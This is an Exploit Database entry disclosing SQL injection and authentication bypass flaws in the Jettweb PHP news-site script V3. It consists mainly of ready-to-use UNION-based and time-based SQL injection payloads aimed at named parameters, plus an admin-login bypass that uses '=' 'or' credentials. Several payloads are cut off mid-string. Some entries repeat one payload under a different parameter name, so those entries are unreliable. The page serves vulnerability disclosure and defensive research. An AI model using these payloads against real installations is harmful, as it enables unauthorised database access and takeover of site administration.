

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

Jettweb PHP Hazır Haber Sitesi Scripti V3 - SQL Injection

EDB-ID:
46599

CVE:
N/A

EDB Verified: ✓

Author:
[AHMET ÜMIT BAYRAM](#)

Type:
[WEBAPPS](#)

Exploit:   / 

Platform:
[PHP](#)

Date:
2019-03-25

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V3 - Multiple
Vulnerabilities
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-16-php-hazir-haber-sitesi-scripti-
v3.html
# Demo Site: http://haberv3.proemlaksitesi.net
# Version: V3
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/fonksiyonlar.php
Vulnerable Parameter: videoid (GET)
Payload: fgıt=videoyorumlar&videoıd=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMd
-
Kcmb

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgıt=videoyorumlar&videoıd=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMd
-
Kcmb

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/datagetir.php
Vulnerable Parameter: q (GET)
Payload:
datagetir.php?
deger=undefined&dog=undefined&komut=ilcegetir&q=0'XOR(if(now())=sysdate())%2Cs1

----- PoC 4: SQLi -----

Request: http://localhost/[PATH]kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgıt=videoyorumlar&videoıd=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMd
-
Kcmb

----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/login.php
Username: '=' 'or'
Password: '=' 'or'
```

Tags: [SQL Injection \(SQLi\)](#)

Advisory/Source: [Link](#)



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾